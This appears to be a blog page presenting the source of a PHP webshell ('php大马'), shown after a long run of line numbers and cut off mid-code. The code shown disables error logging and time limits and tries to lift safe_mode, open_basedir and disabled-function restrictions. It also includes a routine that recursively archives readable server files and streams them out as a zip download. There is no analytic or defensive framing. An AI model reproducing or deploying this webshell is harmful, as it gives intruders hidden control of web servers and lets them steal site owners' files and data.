<h2 id="php大马"><a href="#php大马" class="headerlink" title="php大马"></a>php大马</h2><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br><span class="line">823</span><br><span class="line">824</span><br><span class="line">825</span><br><span class="line">826</span><br><span class="line">827</span><br><span class="line">828</span><br><span class="line">829</span><br><span class="line">830</span><br><span class="line">831</span><br><span class="line">832</span><br><span class="line">833</span><br><span class="line">834</span><br><span class="line">835</span><br><span class="line">836</span><br><span class="line">837</span><br><span class="line">838</span><br><span class="line">839</span><br><span class="line">840</span><br><span class="line">841</span><br><span class="line">842</span><br><span class="line">843</span><br><span class="line">844</span><br><span class="line">845</span><br><span class="line">846</span><br><span class="line">847</span><br><span class="line">848</span><br><span class="line">849</span><br><span class="line">850</span><br><span class="line">851</span><br><span class="line">852</span><br><span class="line">853</span><br><span class="line">854</span><br><span class="line">855</span><br><span class="line">856</span><br><span class="line">857</span><br><span class="line">858</span><br><span class="line">859</span><br><span class="line">860</span><br><span class="line">861</span><br><span class="line">862</span><br><span class="line">863</span><br><span class="line">864</span><br><span class="line">865</span><br><span class="line">866</span><br><span class="line">867</span><br><span class="line">868</span><br><span class="line">869</span><br><span class="line">870</span><br><span class="line">871</span><br><span class="line">872</span><br><span class="line">873</span><br><span class="line">874</span><br><span class="line">875</span><br><span class="line">876</span><br><span class="line">877</span><br><span class="line">878</span><br><span class="line">879</span><br><span class="line">880</span><br><span class="line">881</span><br><span class="line">882</span><br><span class="line">883</span><br><span class="line">884</span><br><span class="line">885</span><br><span class="line">886</span><br><span class="line">887</span><br><span class="line">888</span><br><span class="line">889</span><br><span class="line">890</span><br><span class="line">891</span><br><span class="line">892</span><br><span class="line">893</span><br><span class="line">894</span><br><span class="line">895</span><br><span class="line">896</span><br><span class="line">897</span><br><span class="line">898</span><br><span class="line">899</span><br></pre></td><td class="code"><pre><span class="line">/* d66d26866789b352294fe2da07b1af004ad56f910 */<span class="variable">@ini_set</span>(<span class="string">'log_errors_max_len'</span>,<span class="number">0</span>);<span class="variable">@ini_restore</span>(<span class="string">'log_errors'</span>);<span class="variable">@ini_restore</span>(<span class="string">'error_log'</span>);<span class="variable">@ini_restore</span>(<span class="string">'error_reporting'</span>);<span class="variable">@ini_set</span>(<span class="string">'log_errors'</span>,<span class="number">0</span>);<span class="variable">@ini_set</span>(<span class="string">'error_log'</span>,<span class="title class_">NULL</span>);<span class="variable">@ini_set</span>(<span class="string">'error_reporting'</span>,<span class="title class_">NULL</span>);<span class="variable">@error_reporting</span>(<span class="number">0</span>);<span class="variable">@ini_set</span>(<span class="string">'max_execution_time'</span>,<span class="number">0</span>);<span class="variable">@set_time_limit</span>(<span class="number">0</span>);<span class="variable">@ignore_user_abort</span>(<span class="title class_">TRUE</span>);<span class="variable">@ini_set</span>(<span class="string">'memory_limit'</span>,<span class="string">'1000M'</span>);<span class="variable">@ini_set</span>(<span class="string">'file_uploads'</span>,<span class="number">1</span>);<span class="variable">@ini_restore</span>(<span class="string">'magic_quotes_runtime'</span>);<span class="variable">@ini_restore</span>(<span class="string">'magic_quotes_sybase'</span>);<span class="variable">@ini_set</span>(<span class="string">'magic_quotes_gpc'</span>,<span class="number">0</span>);<span class="variable">@ini_set</span>(<span class="string">'magic_quotes_runtime'</span>,<span class="number">0</span>);<span class="variable">@ini_set</span>(<span class="string">'magic_quotes_sybase'</span>,<span class="number">0</span>);<span class="keyword">if</span>(<span class="title class_">PHP_VERSION</span><<span class="string">'5.4'</span>) <span class="variable">@set_magic_quotes_runtime</span>(<span class="number">0</span>);<span class="variable">@ini_restore</span>(<span class="string">'safe_mode'</span>);<span class="variable">@ini_restore</span>(<span class="string">'open_basedir'</span>);<span class="variable">@ini_restore</span>(<span class="string">'safe_mode_exec_dir'</span>);<span class="variable">@ini_set</span>(<span class="string">'safe_mode'</span>,<span class="number">0</span>);<span class="variable">@ini_set</span>(<span class="string">'open_basedir'</span>,<span class="title class_">NULL</span>);<span class="variable">@ini_set</span>(<span class="string">'safe_mode_exec_dir'</span>,<span class="string">''</span>);<span class="variable">@ini_restore</span>(<span class="string">'disable_function'</span>);<span class="variable">@ini_set</span>(<span class="string">'disable_function'</span>, <span class="string">''</span>);function escHTML(<span class="variable">$v</span>){return str_replace(array(<span class="string">'&'</span>, <span class="string">'"'</span>, <span class="string">'<'</span>, <span class="string">'>'</span>), array(<span class="string">'&amp;'</span>, <span class="string">'&quot;'</span>, <span class="string">'&lt;'</span>, <span class="string">'&gt;'</span>),<span class="variable">$v</span>);}function ssa(<span class="variable">$a</span>){foreach(<span class="variable">$a</span> as <span class="variable">$k</span>=><span class="variable">$v</span>)<span class="keyword">if</span>(is_array(<span class="variable">$v</span>))<span class="variable">$a</span>[<span class="variable">$k</span>]=ssa(<span class="variable">$v</span>);<span class="keyword">else</span> <span class="variable">$a</span>[<span class="variable">$k</span>]=stripslashes(<span class="variable">$v</span>);return(<span class="variable">$a</span>);}function bname(<span class="variable">$p</span>){<span class="variable">$p</span>=explode(<span class="title class_">DIRECTORY_SEPARATOR</span>,<span class="variable">$p</span>);return <span class="keyword">end</span>(<span class="variable">$p</span>);}<span class="keyword">if</span>(<span class="variable">@get_magic_quotes_gpc</span>())<span class="variable">$_POST</span>=ssa(<span class="variable">$_POST</span>);class zc {var <span class="variable">$cr</span>=<span class="string">''</span>; var <span class="variable">$fc</span>=<span class="number">0</span>; var <span class="variable">$co</span>=<span class="number">0</span>; var <span class="variable">$msm</span>=<span class="number">5242880</span>; var <span class="variable">$msd</span>=<span class="number">52428800</span>; var <span class="variable">$ig</span>; var <span class="variable">$fs</span>; function init(<span class="variable">$n</span>=<span class="string">'archive'</span>){<span class="variable">$this</span>->ig=<span class="variable">@function_exists</span>(<span class="string">'gzopen'</span>);header(<span class="string">'Content-type: application/x-zip'</span>);header(<span class="string">'Content-Disposition: attachment; filename='</span>.<span class="variable">$n</span>.<span class="string">'_'</span>.<span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>].<span class="string">'_'</span>.date(<span class="string">'Y-m-d_H.i'</span>).<span class="string">'.zip'</span>);header(<span class="string">'Content-Transfer-Encoding: binary'</span>);header(<span class="string">'Last-Modified: '</span>.<span class="variable">@gmdate</span>(<span class="string">'D, d M Y H:i:s'</span>).<span class="string">' GMT'</span>);}function add(<span class="variable">$a</span>){foreach(<span class="variable">$a</span> as <span class="variable">$v</span>)<span class="keyword">if</span>(<span class="variable">@is_readable</span>(<span class="variable">$v</span>)){<span class="keyword">if</span>(<span class="variable">@is_dir</span>(<span class="variable">$v</span>))<span class="variable">$this</span>->ad(<span class="variable">$v</span>,<span class="variable">$v</span>);elseif(<span class="variable">@is_file</span>(<span class="variable">$v</span>))<span class="variable">$this</span>->af(<span class="variable">$v</span>,<span class="variable">$v</span>);}}function ad(<span class="variable">$p</span>,<span class="variable">$n</span>){<span class="keyword">if</span>(<span class="variable">$d</span>=<span class="variable">@opendir</span>(<span class="variable">$p</span>)){while( <span class="title class_">FALSE</span> !==(<span class="variable">$v</span>=<span class="variable">@readdir</span>(<span class="variable">$d</span>)))<span class="keyword">if</span>(<span class="variable">$v</span>!=<span class="string">'.'</span> && <span class="variable">$v</span>!=<span class="string">'..'</span> && <span class="variable">@is_readable</span>(<span class="variable">$p</span>.<span class="title class_">DIRECTORY_SEPARATOR</span>.<span class="variable">$v</span>)){<span class="keyword">if</span>(<span class="variable">@is_dir</span>(<span class="variable">$p</span>.<span class="title class_">DIRECTORY_SEPARATOR</span>.<span class="variable">$v</span>))<span class="variable">$this</span>->ad(<span class="variable">$p</span>.<span class="title class_">DIRECTORY_SEPARATOR</span>.<span class="variable">$v</span>,<span class="variable">$n</span>.<span class="string">'/'</span>.<span class="variable">$v</span>);elseif(<span class="variable">@is_file</span>(<span class="variable">$p</span>.<span class="title class_">DIRECTORY_SEPARATOR</span>.<span class="variable">$v</span>))<span class="variable">$this</span>->af(<span class="variable">$p</span>.<span class="title class_">DIRECTORY_SEPARATOR</span>.<span class="variable">$v</span>,<span class="variable">$n</span>.<span class="string">'/'</span>.<span class="variable">$v</span>);}<span class="variable">@closedir</span>(<span class="variable">$d</span>);}}function af(<span class="variable">$p</span>,<span class="variable">$n</span>){<span class="variable">$s</span>=<span class="variable">@stat</span>(<span class="variable">$p</span>);<span class="keyword">if</span>(!<span class="variable">$s</span>) return;<span class="variable">$h1</span>=<span class="string">"\x14\x00\x08\x00"</span>. ((<span class="variable">$this</span>->ig && (<span class="variable">$s</span>[<span class="number">7</span>]<=<span class="variable">$this</span>->msd ))?<span class="string">"\x08"</span><span class="symbol">:<span class="string">"\x00"</span></span> ). <span class="string">"\x00"</span> .<span class="variable">$this</span>->pd(<span class="variable">$s</span>[<span class="number">9</span>]);<span class="variable">$h2</span>=pack(<span class="string">'v'</span>, strlen(<span class="variable">$n</span>)). <span class="string">"\x00\x00"</span>;echo <span class="string">"\x50\x4b\x03\x04"</span>,<span class="variable">$h1</span>, <span class="string">"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"</span>,<span class="variable">$h2</span>,<span class="variable">$n</span>;<span class="keyword">if</span>(<span class="variable">$this</span>->ig && (<span class="variable">$s</span>[<span class="number">7</span>]<=<span class="variable">$this</span>->msm)){<span class="variable">$b</span>=<span class="variable">@file_get_contents</span>(<span class="variable">$p</span>);<span class="variable">$crc</span>=pack(<span class="string">'V'</span>, crc32(<span class="variable">$b</span>));<span class="variable">$b</span>=gzdeflate(<span class="variable">$b</span>);<span class="variable">$cs</span>=strlen(<span class="variable">$b</span>);echo <span class="variable">$b</span>;}elseif(<span class="variable">$this</span>->ig && (<span class="variable">$s</span>[<span class="number">7</span>]<=<span class="variable">$this</span>->msd)){<span class="variable">$t</span>=<span class="variable">@tempnam</span>(<span class="string">'/tmp/'</span>, <span class="string">''</span>);<span class="variable">$f</span>=<span class="variable">@fopen</span>(<span class="variable">$p</span>, <span class="string">'rb'</span>);<span class="variable">$g</span>=<span class="variable">@gzopen</span>(<span class="variable">$t</span>, <span class="string">'wb'</span>);while(!feof(<span class="variable">$f</span>)) <span class="variable">@gzwrite</span>(<span class="variable">$g</span>, fread(<span class="variable">$f</span>, <span class="number">1048576</span>));<span class="variable">@gzclose</span>(<span class="variable">$g</span>);<span class="variable">@fclose</span>(<span class="variable">$f</span>);<span class="variable">$f</span>=<span class="variable">@fopen</span>(<span class="variable">$t</span>, <span class="string">'rb'</span>);<span class="variable">@fseek</span>(<span class="variable">$f</span>, <span class="number">10</span>);while(!feof(<span class="variable">$f</span>))echo fread(<span class="variable">$f</span>, <span class="number">1048576</span>);<span class="variable">@fseek</span>(<span class="variable">$f</span>, <span class="number">-8</span>, <span class="title class_">SEEK_END</span>);<span class="variable">$crc</span>=fread(<span class="variable">$f</span>, <span class="number">4</span>);<span class="variable">@fclose</span>(<span class="variable">$f</span>);<span class="variable">$cs</span>=<span class="variable">@filesize</span>(<span class="variable">$t</span>)<span class="number">-10</span>; <span class="variable">@unlink</span>(<span class="variable">$t</span>);}<span class="keyword">else</span>{<span class="variable">$cs</span>=<span class="number">0</span>;<span class="variable">$crc</span>=<span class="literal">false</span>;<span class="variable">$f</span>=<span class="variable">@fopen</span>(<span class="variable">$p</span>, <span class="string">'rb'</span>);while(!feof(<span class="variable">$f</span>)){<span class="variable">$b</span>=fread(<span class="variable">$f</span>, <span class="number">1048576</span>);<span class="variable">$l</span>=strlen(<span class="variable">$b</span>);<span class="variable">$cc</span>=crc32(<span class="variable">$b</span>);<span class="variable">$cs</span> +=<span class="variable">$l</span>;echo <span class="variable">$b</span>;<span class="variable">$b</span>=<span class="string">''</span>;<span class="keyword">if</span>(<span class="variable">$crc</span>)<span class="variable">$crc</span>=<span class="variable">$this</span>->crc32c(<span class="variable">$crc</span>,<span class="variable">$cc</span>,<span class="variable">$l</span>);<span 